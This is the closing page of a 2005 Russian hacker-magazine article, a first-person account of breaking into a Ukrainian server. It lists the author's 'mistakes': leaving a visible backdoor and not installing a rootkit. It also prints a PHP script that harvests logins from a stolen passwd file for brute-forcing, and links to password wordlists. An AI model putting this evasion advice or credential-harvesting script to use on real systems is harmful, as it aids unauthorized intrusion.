Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #76, АПРЕЛЬ 2005 г.

Оранжевая революция

Sashiks (lubimovv@inbox.ru)

Хакер, номер #076, стр. 076-048-5


Последний ход оставался за мной. Но я почему-то не захотел просто затроянить тачку и оставить ее для дальнейшего продвижения по сетке, наоборот у меня в голове замелькала сначала злоба на админа – он негодяй и выпер меня из системы :). Но потом я подумал, что вообще, какое я право имею вторгаться на его законную территорию и устанавливать свои правила. Нет уж, давайте жить дружно.

Redemtpion

За окном медленно поднималось солнце. Я сидел и думал над письмом администратору, в котором наиболее полно попытался объяснить и показать уязвимые места системы. Эта история научила меня, что никогда нельзя недооценивать системного администратора, нужно быть внимательным и учитывать все окружающие обстоятельства. Чего и тебе желаю. Удачи :).

P.S. Эта история вполне реальная, и имела место быть в Украине. Из собственных соображений настоящие доменные имена серверов заменены.

Мои ошибки

После тщательного анализа приведу мои основные ошибки, из-за которых я временно потерял доступ к системе:

1) Никогда нельзя оставлять надолго простой запущенный бэкдор, так как он крутиться в процессах и светит порт, и его легко можно попалить при помощи команд "ps uax" или "netstat -an". Большая вероятность, что процесс заметят.

2) Я недооценил возможности системного администратора и был слишком самоуверен. В большинстве случаев админы компетентны и опытны, просто немного несобранны и ленивы. Как видишь, он довольно шустро заменил бажный скрипт на сайте, убил бэкдор убил и сменил пользовательские пароли. Правда, почему-то не обновил ядро – но я склонен списывать это на природную леность :).

3) Когда я получил абсолютные привилегии в системе, я поленился установить руткит, что позволило бы мне остаться незамеченным.

Скрипт для вытягивания логинов из passwd

<?

$a=fopen("passwd.txt",r); #определяем файл с учетными записями

while(!feof($a))

{

$str=fgets($a);

if(strpos($str,"/bash") ==true ) #работаем со строкой в которой есть "/bash"

{

echo "$str <br>" ;

$ex=fopen("logins.txt",a);

$pos=strpos($str,":");

$write=substr($str,0,$pos);

fputs($ex,"$write:$write \n"); #если нужно чтоб скрипт записывал только логины убрать вторую переменную и двоеточие

fclose($ex);

}

else{}

}

fclose($a);

?>

WWW

Советую тебе посетить следующие сайты по безопасности:

www.web-hack.ru

www.rst.void.ru

www.gh0sts.org

INFO

Здесь ты можешь найти хорошие словари для брута. Конечно, только для использования в ознакомительных целях.

www.passwords.ru/dic.htm

ftp://ftp.openwall.com/pub/wordlists/

ftp://ftp.cerias.purdue.edu/pub/dict/

ftp://ftp.ox.ac.uk/pub/wordlists/

ftp://ftp.funet.fi/pub/unix/security/dictionaries/

www.outpost9.com/files/WordLists.html

www.phreak.com/html/wordlists.shtml

ftp://coast.cs.purdue.edu/pub/dict/wordlists/

www.mobilstar.ru/files/dict/

CD/DVD

На нашем диске ты найдешь полные версии программ, описанных в этой статье.

Назад на стр. 076-048-4  Содержание